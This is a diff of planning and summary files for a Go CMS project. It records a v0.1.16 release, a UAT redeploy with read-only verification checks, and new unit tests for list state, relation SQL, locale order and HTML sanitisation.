|
||||
## Corrections to the hand-off list
|
||||
|
||||
- **The user plugin is already shared.** `sm-user-plugin` (`git.golem15.com/golem15/sm-user-plugin`) is its own repo, checked out by both fonoteka.go and sm-bm-app. Phases 19.5 and 19.6 add to it directly. Both consuming apps must still build after each change.
|
||||
- **Plugin-registrable token scopes (A8) are dropped for now.** `sm-user-plugin` already mints scoped tokens (`MintAPIToken`, `HasScope`). Its allowed list (`read`, `write`, `ai`) is a static package variable. WavePath's `wave.scope.public:*` scopes belong to its own `wave_token` guard and `golem15_wavepath_api_tokens` table, which section B ports on the WavePath side. Add a `RegisterAPITokenScope` hook only if WavePath confirms that its user-plugin tokens carry custom scopes.
|
||||
|
||||
## `import:winter` stress cases from WavePath (for Phase 20)
|
||||
|
||||
- The source is MariaDB. That is the same MySQL wire protocol, but check type coercion.
|
||||
- About 90 tables, including large chat and channel message tables. Batching must handle them.
|
||||
- APP_KEY-encrypted columns go through the Laravel-decrypt hook.
|
||||
- Zero-knowledge encryption-key blobs are copied byte for byte and never decoded.
|
||||
- `system_files` across 16 attaching models, and 9 `system_settings` rows.
|
||||
|
||||
## Scope reminder
|
||||
|
||||
The WavePath backend is about 350 routes, about 90 tables and 164 migrations across `wavepath` and its shared plugins. The PHP routes are not frozen, so re-count when the milestone opens.
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,239 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
plan: 02
|
||||
subsystem: infra
|
||||
tags: [release, deploy, uat, supervisor, postgres, git-tag]
|
||||
|
||||
requires:
|
||||
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
provides: "16.1-01 fixes: cabana relation search and sort subqueries, default locale first, journal FormatHTML keeps raw HTML, admin list state"
|
||||
provides:
|
||||
- "summercms annotated tag v0.1.16 on origin (tag object d8e3536 on d77393b), containing 06d75cb, bd8626e and 9cac45c"
|
||||
- "sm-journal-plugin main a675f2f on origin: FormatHTML fix plus a nominal require of summercms v0.1.16"
|
||||
- "sm-grzybyfunkcjonalne-app master cac2ee7 on origin: journal gitlink bump; README and DEPLOY.md no longer warn against re-saving imported posts"
|
||||
- "UAT runs the v0.1.16 build (sha256 46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb), previous binary kept as bin/grzybyfunkcjonalne.prev"
|
||||
- "Posts 53 and 64 on UAT re-rendered by an admin save: no raw-HTML placeholder anywhere, post 64 has its footer"
|
||||
affects: [16.1-03 unit tests, 16.2 blog editor, next summercms tag]
|
||||
|
||||
actuals:
|
||||
tokens: 708 # chars/4 over the realized diffs (sm-journal-plugin a675f2f + host cac2ee7); summercms.go had no code diff
|
||||
tasks: 3
|
||||
commits: 0 # summercms.go, measured: git rev-list --count d77393b..HEAD before this SUMMARY commit; sibling repos add 2 (a675f2f, cac2ee7) and the tag
|
||||
plan_head_before: d77393b4d1924ba5fa118faf71ded9a5163d6d5c
|
||||
plan_head_after: d77393b4d1924ba5fa118faf71ded9a5163d6d5c
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Go log checks on UAT read /var/log/supervisor/grzybyfunkcjonalne-go.log directly, anchored on the restart's alexandria client_id, not through supervisorctl tail"
|
||||
|
||||
key-files:
|
||||
created: []
|
||||
modified:
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
|
||||
key-decisions:
|
||||
- "Release v0.1.16 cut on d77393b after the human chose docker-first and reported the Docker-host suites passed"
|
||||
- "UAT log checks read the supervisor log file directly: supervisorctl tail fails with an XML-RPC ExpatError on the ANSI escapes in GORM log lines, and the error text passes a grep -c 0 check vacuously"
|
||||
- "The D-01 and D-03 end-of-phase UAT checks are recorded as human-reported but not independently confirmed; they are queued for /msd-verify-work"
|
||||
|
||||
patterns-established:
|
||||
- "UAT post-data proof: read-only psql via ssh as the deploy user; post data changes only through human admin saves"
|
||||
|
||||
requirements-completed: [D-04, D-03]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "summercms v0.1.16 annotated tag on origin contains every 16.1-01 commit; sm-journal-plugin main and the host master are pushed with the bumps; README and DEPLOY.md lost the re-save warning"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "git tag --contains 06d75cb (v0.1.16); git ls-remote --tags origin refs/tags/v0.1.16 (d8e3536); journal main == origin/main a675f2f; host master == origin/master cac2ee7; grep -ci omitted README.md DEPLOY.md = 0/0"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "UAT runs the locally built binary (sha256 equal on both sides), both supervisor programs RUNNING, previous binary kept, on-server smoke ok (98 urls)"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "Task 2 verify 1: on-server scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl -> 'smoke: ok (98 urls)'"
|
||||
status: pass
|
||||
- kind: other
|
||||
ref: "Task 2 verify 2: sha256 local == server 46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb; 2 RUNNING; tag on origin -> deploy-ok (re-checked 20:36 UTC)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Posts 53 and 64 re-rendered by an admin save: no post holds the raw-HTML placeholder, post 64 has its footer"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "ssh grzybyfunkcjonalne-uat psql SELECT placeholder count || ':' || post-64 footer count -> 0:1 (20:35 UTC)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "No SQLSTATE 42703 in the Go log since the 19:36:54 UTC restart (the relation search no longer fails on the real categories pivot)"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "corrected log check on /var/log/supervisor/grzybyfunkcjonalne-go.log since 2026/10/09 19:36:54 -> 0 (19 lines since restart)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Human UAT: posts-list search 'cordyceps' returns rows (D-02); list sort and category filter survive open/back, save-and-close and rail navigation and stay in the URL (D-01); an imported post's form shows pl first with title, slug, content and excerpt filled (D-03)"
|
||||
requirement: D-03
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Needs a browser session behind UAT basic auth and an admin login, which the executor never holds; the human reported 'all works' but that reply arrived before the re-saves had reached UAT, so these checks are not independently confirmed"
|
||||
|
||||
duration: 1h 26m
|
||||
completed: 2026-10-09
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.1 Plan 02: Release and UAT redeploy Summary
|
||||
|
||||
**summercms v0.1.16 is tagged and on origin. The journal plugin and the host are bumped and pushed. UAT runs the new build, and its on-server smoke passed. After the human re-saved posts 53 and 64, read-only checks show their HTML is back and no SQLSTATE 42703 has appeared in the log since the restart.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 1h 26m wall clock. Most of it was waiting on the three human checkpoints.
|
||||
- **Started:** 2026-10-09T19:10:00Z (Task 1 release sheet, approximate)
|
||||
- **Completed:** 2026-10-09T20:36:08Z
|
||||
- **Tasks:** 3 of 3
|
||||
- **Files modified:** 4, all in sibling repositories (`../sm-journal-plugin/go.mod`, plus the host's journal gitlink, `README.md` and `DEPLOY.md`)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Release gate (Task 1).** The gate printed `release-gate-ok`. The human chose docker-first with tag v0.1.16.
|
||||
- **Tag and pushes (Task 2).** Annotated tag `v0.1.16`, tag object `d8e3536b4dce4389cac23c88b42837ee72dc872a`, on `d77393b4d1924ba5fa118faf71ded9a5163d6d5c`. Pushes:
|
||||
- summercms master `e381f2c..d77393b`
|
||||
- sm-journal-plugin main `3d533d4..a675f2f`
|
||||
- host master `87e5353..cac2ee7`
|
||||
- **UAT redeploy (Task 2).** The build ran through `scripts/build.sh`.
|
||||
- The sha256 is the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
|
||||
- `migrate` ran and succeeded.
|
||||
- Both programs were restarted at `RESTART_TS=2026/10/09 19:36:54` (server time, UTC) and are RUNNING.
|
||||
- The on-server smoke printed `smoke: ok (98 urls)`.
|
||||
- **UAT data repair (Task 3).** The human re-saved posts 53 and 64 in the admin. The read-only SQL check now prints `0:1`, where it printed `2:0` before the re-saves.
|
||||
- Post 53: `updated_at` 2026-10-09 20:33:53.908 UTC, no placeholder.
|
||||
- Post 64: `updated_at` 20:34:08.100 UTC, no placeholder, footer present.
|
||||
- **Relation search on real data (Task 3).** No `SQLSTATE 42703` line has appeared in the Go log since the restart (19 lines checked). The 6 such lines in the file all predate the restart.
|
||||
|
||||
## Task Commits
|
||||
|
||||
The plan made no code commits in summercms.go. The release is a tag on the existing HEAD `d77393b`.
|
||||
|
||||
1. **Task 1: Release gate** (checkpoint:decision, blocking-human): no commit, by design
|
||||
2. **Task 2: Tracer: tag, push, bump, build, deploy, on-server smoke:**
|
||||
- summercms tag `v0.1.16` (tag object `d8e3536` on `d77393b`)
|
||||
- sm-journal-plugin `a675f2f` (chore(deps): require summercms v0.1.16)
|
||||
- sm-grzybyfunkcjonalne-app `cac2ee7` (chore: bump journal plugin; admin saves keep imported HTML)
|
||||
3. **Task 3: UAT acceptance** (checkpoint:human-action, blocking-human): no commit. The human re-saved posts 53 and 64 in the admin, and the executor ran read-only checks afterwards.
|
||||
|
||||
**Plan metadata:** this SUMMARY's docs commit; the STATE and ROADMAP updates are committed separately.
|
||||
|
||||
## Release sheet (Task 1, ~19:10 UTC)
|
||||
|
||||
- **summercms.go:** master HEAD `d77393b`, working tree clean. `HEAD..origin/master` was empty. No tag contained `06d75cb`. The highest tag was v0.1.15, so v0.1.16 was proposed and was absent on origin.
|
||||
- **Gate (`release-gate-ok`):**
|
||||
- `go vet` was clean in both repositories.
|
||||
- `TestListRelationSearchSmoke` and `TestEnabledLocalesDefaultFirstSmoke` passed.
|
||||
- sm-journal-plugin `./classes` passed, and so did `TestDocsTree`.
|
||||
- admin vitest ran 75 files and 1106 tests, all passing.
|
||||
- `check-admin-dist.sh` found no drift, and `check-admin-openapi.sh --check` exited 0.
|
||||
- **Commits pushed from summercms.go:** 26 commits, including `06d75cb`, `bd8626e`, `9cac45c` and `c5e03f4` "test(16-05): Phase 16 gate".
|
||||
- **Commits pushed from sm-journal-plugin:** `528d2d8`.
|
||||
- **Not runnable on this machine** (no Docker socket permission): the Postgres/testcontainers suites in `modules/cabana` and the sm-journal-plugin admin harness.
|
||||
- **Hygiene:** `check-phase10.sh --hygiene` reported 5 pre-existing findings, already recorded in `deferred-items.md`.
|
||||
- **Human reply, verbatim:** "release v0.1.16, docker passed". This is the docker-first option with `RELEASE_TAG=v0.1.16`.
|
||||
|
||||
## Task 2 record (~19:33 UTC)
|
||||
|
||||
- **Pre-tag re-checks:** fetch ok, `HEAD..origin/master` empty, v0.1.16 absent on origin, ssh ok.
|
||||
- **Tag:** `git ls-remote` shows `d8e3536b4dce4389cac23c88b42837ee72dc872a refs/tags/v0.1.16`.
|
||||
- **Pushed heads:**
|
||||
- sm-journal-plugin main: `a675f2f197d04f0a30ff03025ddcc9d2c8a93d54`
|
||||
- host master: `cac2ee72fa0cc64d15488680615489ac62de9c83`. Its journal gitlink is `a675f2f`.
|
||||
- **Build and upload:**
|
||||
- `check-deploy.sh` ok, and `build.sh` exited 0.
|
||||
- sha256 of the new binary, the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
|
||||
- The previous binary is kept as `bin/grzybyfunkcjonalne.prev` (sha256 `94116f4ab576c99a130167bbf0ad9accbece48630747e03b2f9727a6a18d68ea`).
|
||||
- No `.env` was uploaded.
|
||||
- **Restart:** `migrate` ok, `RESTART_TS=2026/10/09 19:36:54`, both programs RUNNING.
|
||||
- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
|
||||
- **Baseline before the re-saves:** the SQL check printed `2:0`.
|
||||
|
||||
## Task 3 record
|
||||
|
||||
- **First human reply, verbatim:** "all works".
|
||||
- The read-only follow-up checks still printed `2:0`. Posts 53 and 64 had `updated_at` 17:33:52 UTC, which was also the latest `updated_at` across all posts, and there were no journal-post translation rows. So no save had reached UAT yet.
|
||||
- The log check passed: 0 `SQLSTATE 42703` lines since the restart, out of 18 lines.
|
||||
- No rollback was recommended or performed. A checkpoint was returned.
|
||||
- **Second human reply, verbatim:** "resaved, no errors".
|
||||
- **Orchestrator re-check:** post 53 at 20:33:53.908 UTC and post 64 at 20:34:08.100 UTC. Neither holds the placeholder, post 64 has its footer, and the check printed `0:1`.
|
||||
- **This executor's re-check (20:35 UTC):**
|
||||
- SQL check: printed `0:1`, so `SQL-CHECK-PASS`.
|
||||
- Corrected log check: `LOG-CHECK-PASS`, with 19 lines since the restart and 0 `SQLSTATE 42703`.
|
||||
- **End-of-phase human checks** (step 3 of the plan: D-01 list state, D-03 form locales and fields, the post-64 footer on `/blog/ekstrakt-z-turkey-tail`): the human reported them under "all works". That reply came before the re-saves had reached UAT, so they are **recorded as human-reported, not independently confirmed**. They are pending for `/msd-verify-work` (coverage D5).
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `../sm-journal-plugin/go.mod`: nominal `require git.golem15.com/golem15/summercms v0.1.16`. The replace to `../summercms.go` stays.
|
||||
- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal`: gitlink now points to `a675f2f`.
|
||||
- `../sm-grzybyfunkcjonalne-app/README.md`: the warning against editing imported posts in the admin is removed.
|
||||
- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: the section that told admins not to re-save imported posts is removed.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- **Tag v0.1.16, docker-first.** The human reported the Docker-host suites passed, then approved the release.
|
||||
- **No `en` locale change on UAT.** The framework fix (default locale first) is enough for D-03, as planned under Claude's discretion in CONTEXT.
|
||||
- **Rollback was not used.** Every check passed. `bin/grzybyfunkcjonalne.prev` stays on the server.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 1 - Bug] The plan's Task 3 log check passed even when it could not read the log**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** The plan read the log with `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go`. On UAT, supervisor's XML-RPC fails with an ExpatError on the ANSI escape codes in GORM log lines, so no log lines come back. The error text does not contain `SQLSTATE 42703`, so `grep -c ... | grep -qx 0` passed without checking anything.
|
||||
- **Fix:** The check now reads the supervisor log file directly. It fails closed when the file is unreadable or does not contain this restart's `client_id`:
|
||||
`ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; test -r "$F" && grep -q "client_id=alexandria_2026_10_09T19_36_54" "$F" && awk -v since="2026/10/09 19:36:54" "substr(\$0,1,19) >= since" "$F" | grep -c "SQLSTATE 42703"' | grep -qx 0`
|
||||
- **Files modified:** none. Only the verification command changed.
|
||||
- **Verification:** The check passed, with 19 lines since the restart and 0 matches. The same file holds 6 `SQLSTATE 42703` lines from before the restart, which shows the check can see the failure it looks for.
|
||||
- **Committed in:** n/a (verification only)
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 1 auto-fixed (1 bug in a verify command)
|
||||
**Impact on plan:** The changed check is stricter than the plan's. There is no scope change.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- The human's first Task 3 reply ("all works") came before any save had reached UAT, since the SQL still printed `2:0`. The executor returned a second checkpoint instead of accepting the reply. After the second reply ("resaved, no errors") the check printed `0:1`.
|
||||
- The Docker-backed suites (modules/cabana Postgres tests, the sm-journal-plugin harness) cannot run on this machine. The human ran them on a Docker host before the release, as the docker-first option requires.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None. The plan's `user_setup` covered only the human's UAT admin login, which is already done. No USER-SETUP.md was generated: there are no env vars or keys to configure.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 03 (unit tests) can start. Its tests land on master after v0.1.16 and ship with the next tag.
|
||||
- `/msd-verify-work 16.1` should confirm coverage D5 on UAT: D-01 list state, D-03 form locales and fields, and the post-64 footer on `/blog/ekstrakt-z-turkey-tail`.
|
||||
- Rollback is still available if needed: move `bin/grzybyfunkcjonalne.prev` back and restart `grzybyfunkcjonalne-go`.
|
||||
|
||||
---
|
||||
*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
|
||||
*Completed: 2026-10-09*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Tag v0.1.16 is on origin and contains 06d75cb.
|
||||
- sm-journal-plugin a675f2f equals origin/main.
|
||||
- Host cac2ee7 equals origin/master, and its gitlink is a675f2f.
|
||||
- `grep -ci omitted` returns 0 for both README.md and DEPLOY.md.
|
||||
- The sha256 is the same locally and on the server, and both programs are RUNNING.
|
||||
- The SQL check prints 0:1 and the log check passes.
|
||||
@@ -0,0 +1,256 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
plan: 03
|
||||
subsystem: testing
|
||||
tags: [vitest, localStorage, gorm, dryrun, postgres, testcontainers, goldmark, xss]
|
||||
|
||||
requires:
|
||||
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
provides: "16.1-01 fixes (relation subqueries, default locale first, raw HTML in FormatHTML, list state) and the 16.1-02 release v0.1.16"
|
||||
provides:
|
||||
- "vitest coverage of the list to form to list round trip (back, cancel, save-and-close, delete), listState.ts helpers, ListView entry logic and logout clearing"
|
||||
- "TestListRelationSQL: DryRun SQL matrix of the relation subquery builder for every relation type, the refusals and bound search values"
|
||||
- "TestEnabledLocalesDefaultFirst: every default-locale ordering case"
|
||||
- "Strict FormatHTML refuse cases and imported-HTML keep cases in sm-journal-plugin"
|
||||
- "Postgres tests TestListRelationSearchPostgres and TestPostsAdminResaveKeepsHTML, ready for a Docker host"
|
||||
- "16.1-VALIDATION.md filled: every automated row green, wave_0_complete and nyquist_compliant true"
|
||||
affects: [16.2 blog editor, next summercms tag, /msd-verify-work 16.1]
|
||||
|
||||
actuals:
|
||||
tokens: 13669 # chars/4 over the realized test diffs of both repos (summercms.go admin+modules, sm-journal-plugin)
|
||||
tasks: 3
|
||||
commits: 3 # summercms.go, measured from the ledger before the SUMMARY commit; sm-journal-plugin adds 1 (03907ee)
|
||||
plan_head_before: 3b8527b39739a34eaee540d1ec0458966146a91c
|
||||
plan_head_after: 837e40ae6aac05cf060b5c4fbd8872ca5d96e847
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "bindRecorder: a GORM logger implementing ParamsFilter records statements with placeholders and bound values, so a DryRun test proves a value is bound, not inlined"
|
||||
- "withoutSubqueries strips (SELECT ...) groups so a test can tell an outer JOIN from one inside an EXISTS"
|
||||
- "relModelController + relOneColumn: one generic controller and a one-relation columns.yaml per DryRun case, so the relation under test is always cabana_r0"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- admin/tests/state/listState.test.ts
|
||||
modified:
|
||||
- admin/tests/form/FormView.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/state/useAuth.test.ts
|
||||
- modules/cabana/query_relation_test.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- ../sm-journal-plugin/classes/format_html_test.go
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md
|
||||
|
||||
key-decisions:
|
||||
- "FormatHTML refuse cases now require an error and an empty result for every unsafe input; the old 'or rendered harmless' escape hatch is gone because html.WithUnsafe leaves the gate as the only defence"
|
||||
- "nyquist_compliant is true because every automated row is green; the Docker-host suites and UAT checks stay as manual rows, and two unrun-verify entries were added to WINDOWS.md"
|
||||
|
||||
patterns-established:
|
||||
- "Bound-value proof for cabana SQL: openBindDryRunDB in query_relation_test.go"
|
||||
|
||||
requirements-completed: [D-01, D-02, D-03]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "A form's back, cancel, save-and-close and delete land on the list with the stored query in the URL, and every list request after the return carries it"
|
||||
requirement: D-01
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "admin/tests/form/FormView.test.ts#returning to the list keeps its query (D-01)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "listState helpers (prefix key, malformed values removed, empty query stores nothing, throwing storage), ListView entry logic (URL wins, cleared controls, same-list navigation, 422, page clamp) and logout clearing list keys but not the sidebar"
|
||||
requirement: D-01
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "admin/tests/state/listState.test.ts"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/list/ListView.test.ts#list state entry logic (D-01)"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/state/useAuth.test.ts#logout (T-10-23) removes every stored list query"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Relation subquery SQL: belongsToMany through the tagged pivot (custom joinForeignKey/joinReferences, self-reference), hasMany, hasOne, belongsTo, soft delete, 422 refusals, bound LIKE-escaped search values, no outer JOIN next to ListExtendQuery and scope predicates, string_agg and join sorts"
|
||||
requirement: D-02
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/query_relation_test.go#TestListRelationSQL"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "enabledContentLocales ordering: default moved first, already first, absent, empty, DefaultLocale or EnabledLocales error, no writer, three locales keep their order"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/locale_order_test.go#TestEnabledLocalesDefaultFirst"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "FormatHTML keeps imported HTML unchanged and refuses every unsafe case with an error"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLKeepsRawHTML"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLSanitizesUnsafeHTML"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Postgres-backed tests: relation search counts a post matching through two tags once, sorts by tag names, finds a hasMany note; an admin re-save of HTML content keeps content_html"
|
||||
requirement: D-02
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "modules/cabana/query_relation_test.go#TestListRelationSearchPostgres"
|
||||
status: unknown
|
||||
- kind: integration
|
||||
ref: "../sm-journal-plugin/posts_admin_smoke_test.go#TestPostsAdminResaveKeepsHTML"
|
||||
status: unknown
|
||||
human_judgment: true
|
||||
rationale: "Needs Docker (testcontainers); this machine has no Docker socket permission. Both tests vet clean and fail (not skip) here with 'failed to create Docker provider'. Run on a Docker host before /msd-verify-work."
|
||||
|
||||
duration: 12min
|
||||
completed: 2026-10-09
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.1 Plan 03: Unit tests Summary
|
||||
|
||||
**The Phase 16.1 fixes are now covered by tests that run without Docker:**
|
||||
- vitest pins the list to form to list round trip and the browser-storage list state.
|
||||
- A DryRun SQL matrix pins the relation subquery builder, including a bound-value check through GORM's ParamsFilter hook.
|
||||
- Table tests pin the default-locale order.
|
||||
- FormatHTML tests require an error for every unsafe input and an unchanged result for imported HTML.
|
||||
|
||||
Two Postgres tests are written for a Docker host.
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 12 min
|
||||
- **Started:** 2026-10-09T20:38:52Z
|
||||
- **Completed:** 2026-10-09T20:51:32Z
|
||||
- **Tasks:** 3 of 3
|
||||
- **Files modified:** 6 in summercms.go (4 admin test files, 2 cabana test files), 2 in sm-journal-plugin, plus VALIDATION.md and WINDOWS.md
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **D-01, form round trip (tracer).** A stored query (`sort=code`, `dir=desc`, `filter[active]=true`) is restored after back, cancel, save-and-close and delete. The router lands on the list with that query, and every list GET after the click carries it. A fifth case checks that nothing stored means an unfiltered list with no params.
|
||||
- Mutation check: with the restore in `ListView.vue` disabled, the four restore cases fail and the unfiltered case still passes.
|
||||
- **D-01, listState.ts (23 tests).**
|
||||
- Keys are the prefix plus the controller id, one key per list.
|
||||
- Invalid JSON, non-objects, arrays and non-string values read as empty and remove the key. The strict parser drops malformed values.
|
||||
- An empty query, empty filter values or only page 1 remove the key. A write then read round-trips every field.
|
||||
- `clearListStates` keeps `summer-admin.sidebar` and unrelated keys.
|
||||
- Storage whose `getItem`, `setItem`, `removeItem`, `key` or `localStorage` getter throws never throws out of the helpers.
|
||||
- **D-01, ListView entry.**
|
||||
- With a stored query, no list request goes out without the stored params.
|
||||
- Every list param in the URL wins and replaces the whole stored query.
|
||||
- Clearing search, sort and filter through the UI removes the key, and a remount loads the list unfiltered.
|
||||
- `router.push` to the bare path of the same filtered list keeps the filters and makes no unfiltered request.
|
||||
- A 422 removes the key.
|
||||
- A page past `last_page`, from the URL or from storage, is replaced by `last_page` (requests 5 then 2).
|
||||
- **D-01, logout.** For a successful call, a 500 and a network failure, logout removes every `summer-admin.list:` key and leaves only `summer-admin.sidebar`.
|
||||
- **D-02, TestListRelationSQL.** 14 SQL-shape cases, 5 refusals and 2 statement-level checks.
|
||||
- **Custom pivot keys.** The `cabana_rel_labelings` pivot with `labeled_post`/`label_ref` uses exactly those names, and the SQL has none of the default `rel_*_id` names.
|
||||
- **Self-reference.** `cabana_rel_people` is aliased `cabana_r0` and correlates to the unaliased main table.
|
||||
- **Soft delete.** The related model adds `"cabana_r0"."deleted_at" IS NULL`.
|
||||
- **Refusals.** Polymorphic search and sort, and an unknown select column, each answer 422 with only that parameter in `details`. No page is loaded.
|
||||
- **Search term.** `O'Neil 100%_X` never appears in the SQL text. Four placeholders are each bound to `%o'neil 100\%\_x%`.
|
||||
- **ListExtendQuery and scope filter.** `user_id = 7 AND (...) AND id IN (3)` has no JOIN outside the subqueries.
|
||||
- **Sort.** To-many sort orders by `string_agg` in both directions, followed by the id tiebreak. belongsTo and hasOne sort keep the `LEFT JOIN ... "Author"` / `"Profile"` association join.
|
||||
- **D-02, TestListRelationSearchPostgres.**
|
||||
- A post with two tags matching "fungi" gives total 1.
|
||||
- `sort=tags` gives [2 1] ascending and [1 2] descending.
|
||||
- `search=spore` finds the hasMany note, and `search=ada` finds the belongsTo author.
|
||||
- **D-03, TestEnabledLocalesDefaultFirst.** 12 subtests, including a check that the writer's slice is not reordered in place.
|
||||
- **D-03, FormatHTML.**
|
||||
- **Keep cases.** 7 imported-style bodies round-trip unchanged after trimming. Markdown keeps a trailing raw `<footer>` and `<style>` verbatim.
|
||||
- **Refuse cases.** All 19 refuse cases must return an error and an empty result. This adds svg `onload`, mixed-case `on*`, `javascript:` and `vbscript:` hrefs, `object`, `embed`, a script inside an HTML block, raw and markdown `data:` URLs, and upper-case `IFRAME`.
|
||||
- `check_html_test.go` is unchanged and green.
|
||||
- **D-03, TestPostsAdminResaveKeepsHTML.** An admin creates and then updates (PUT) a post whose content is two HTML paragraphs. After each write, `content_html` equals the content and has no placeholder.
|
||||
|
||||
## Task Commits
|
||||
|
||||
summercms.go (master, not pushed; ships with the next tag):
|
||||
|
||||
1. **Task 1: Tracer, list state round trip and storage coverage:** `a8bce9c` (test)
|
||||
2. **Task 2: Relation subquery and locale order coverage:** `837922c` (test)
|
||||
3. **Task 3 phase gate: VALIDATION.md results:** `837e40a` (docs)
|
||||
|
||||
sm-journal-plugin (main, not pushed):
|
||||
|
||||
3. **Task 3: FormatHTML keep and refuse coverage, admin re-save keeps HTML:** `03907ee` (test)
|
||||
|
||||
## Gate output
|
||||
|
||||
- Task 1: `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke` gave 16 files and 299 tests passed. `npm --prefix admin run typecheck` was clean.
|
||||
- Task 2: `go vet ./modules/cabana` was clean. Four `--- PASS: Test` lines: `TestEnabledLocalesDefaultFirstSmoke`, `TestEnabledLocalesDefaultFirst`, `TestListRelationSearchSmoke`, `TestListRelationSQL`.
|
||||
- Task 3, journal: `go -C ../sm-journal-plugin vet ./...` was clean and `./classes/` printed ok. Two `--- PASS: Test` lines for the FormatHTML tests.
|
||||
- Phase gate: `go vet ./...`, `TestDocsTree`, the typecheck, `npm --prefix admin test` (76 files, 1144 tests), and `check-admin-dist.sh` ("modules/boardwalk/dist matches a fresh build") ended with **`phase-16.1-local-gate-ok`**.
|
||||
- Quick suite latency: 20 s.
|
||||
|
||||
## Docker-host result
|
||||
|
||||
**Pending.** `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` fail here with `failed to create Docker provider`. They fail rather than skip, as designed. They are a manual row in VALIDATION.md and two `unrun-verify` entries in `.planning/WINDOWS.md`.
|
||||
|
||||
Human check before `/msd-verify-work`: on a Docker host, run `go test -count=1 ./...` in summercms.go and `go -C ../sm-journal-plugin test -count=1 ./...`. This includes `TestListQueryContract`, `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML`.
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `admin/tests/state/listState.test.ts` (new): the storage helper tests.
|
||||
- `admin/tests/form/FormView.test.ts`: "returning to the list keeps its query (D-01)" with the tracer.
|
||||
